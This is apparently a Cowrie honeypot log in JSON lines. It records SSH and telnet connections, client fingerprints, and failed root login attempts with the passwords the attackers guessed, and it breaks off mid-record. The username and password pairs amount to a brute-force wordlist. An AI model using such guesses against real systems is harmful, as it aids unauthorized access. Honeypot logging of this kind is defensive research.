{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:14.344894Z","src_ip":"109.91.4.177","session":"3d4379540e1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fff","message":"login attempt [root/fff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:14.810355Z","src_ip":"109.91.4.177","session":"3d4379540e1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:15.918331Z","src_ip":"109.91.4.177","session":"3d4379540e1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00196838378906,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:16.159001Z","src_ip":"143.198.154.150","session":"155e706382ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35126,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a76d3eddbe8","protocol":"telnet","message":"New connection: 170.64.224.25:35126 (159.203.135.109:23) [session: 0a76d3eddbe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:21.785147Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":53572,"dst_ip":"10.17.0.5","dst_port":22,"session":"88cf1aecd727","protocol":"ssh","message":"New connection: 209.99.190.200:53572 (10.17.0.5:22) [session: 88cf1aecd727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:24.386781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:24.390765Z","src_ip":"209.99.190.200","session":"88cf1aecd727","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:24.490797Z","src_ip":"209.99.190.200","session":"88cf1aecd727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazZAQ!","message":"login attempt [root/1qazZAQ!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:24.926232Z","src_ip":"209.99.190.200","session":"88cf1aecd727","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:26.028230Z","src_ip":"209.99.190.200","session":"88cf1aecd727","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":48360,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ce8d462a626","protocol":"ssh","message":"New connection: 103.15.222.183:48360 (159.203.135.109:22) [session: 9ce8d462a626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:27.901356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:27.904980Z","src_ip":"103.15.222.183","session":"9ce8d462a626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:28.139143Z","src_ip":"103.15.222.183","session":"9ce8d462a626","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ahmadiev1992","message":"login attempt [root/ahmadiev1992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:28.831822Z","src_ip":"103.15.222.183","session":"9ce8d462a626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:30.064215Z","src_ip":"103.15.222.183","session":"9ce8d462a626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":60880,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ac80f3b94fb","protocol":"ssh","message":"New connection: 80.94.92.55:60880 (10.17.0.5:22) [session: 3ac80f3b94fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:42.139900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:42.478095Z","src_ip":"80.94.92.55","session":"3ac80f3b94fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:42.480375Z","src_ip":"80.94.92.55","session":"3ac80f3b94fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.71","src_port":52914,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5c9abdbe11e","protocol":"ssh","message":"New connection: 92.118.39.71:52914 (159.203.135.109:22) [session: d5c9abdbe11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:42.853750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:42.857624Z","src_ip":"92.118.39.71","session":"d5c9abdbe11e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:42.960111Z","src_ip":"92.118.39.71","session":"d5c9abdbe11e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:43.270263Z","src_ip":"92.118.39.71","session":"d5c9abdbe11e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:44.374440Z","src_ip":"92.118.39.71","session":"d5c9abdbe11e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:44.993775Z","src_ip":"80.94.92.55","session":"3ac80f3b94fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:46.185084Z","src_ip":"80.94.92.55","session":"3ac80f3b94fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.56.160.82","src_port":16341,"dst_ip":"10.17.0.5","dst_port":22,"session":"a244520e7b31","protocol":"ssh","message":"New connection: 218.56.160.82:16341 (10.17.0.5:22) [session: a244520e7b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:46.679917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:46.683156Z","src_ip":"218.56.160.82","session":"a244520e7b31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:46.943002Z","src_ip":"218.56.160.82","session":"a244520e7b31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server1","message":"login attempt [root/Server1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:47.987885Z","src_ip":"218.56.160.82","session":"a244520e7b31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:49.255054Z","src_ip":"218.56.160.82","session":"a244520e7b31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.35.226","src_port":42784,"dst_ip":"159.203.135.109","dst_port":22,"session":"1289b7095f59","protocol":"ssh","message":"New connection: 166.62.35.226:42784 (159.203.135.109:22) [session: 1289b7095f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:54.770606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:54.774400Z","src_ip":"166.62.35.226","session":"1289b7095f59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:54.839595Z","src_ip":"166.62.35.226","session":"1289b7095f59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AK@sh$P@ssw0rd","message":"login attempt [root/AK@sh$P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:55.034682Z","src_ip":"166.62.35.226","session":"1289b7095f59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:26:56.102526Z","src_ip":"166.62.35.226","session":"1289b7095f59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":43120,"dst_ip":"159.203.135.109","dst_port":22,"session":"e176baf75ef3","protocol":"ssh","message":"New connection: 159.65.58.200:43120 (159.203.135.109:22) [session: e176baf75ef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:12.704669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:12.807418Z","src_ip":"159.65.58.200","session":"e176baf75ef3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:12.811944Z","src_ip":"159.65.58.200","session":"e176baf75ef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"srglyon","password":"123456","message":"login attempt [srglyon/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:13.939082Z","src_ip":"159.65.58.200","session":"e176baf75ef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:15.416625Z","src_ip":"159.65.58.200","session":"e176baf75ef3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":54120,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9c20e7853ed","protocol":"ssh","message":"New connection: 162.254.35.142:54120 (159.203.135.109:22) [session: e9c20e7853ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:21.984809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:21.987684Z","src_ip":"162.254.35.142","session":"e9c20e7853ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2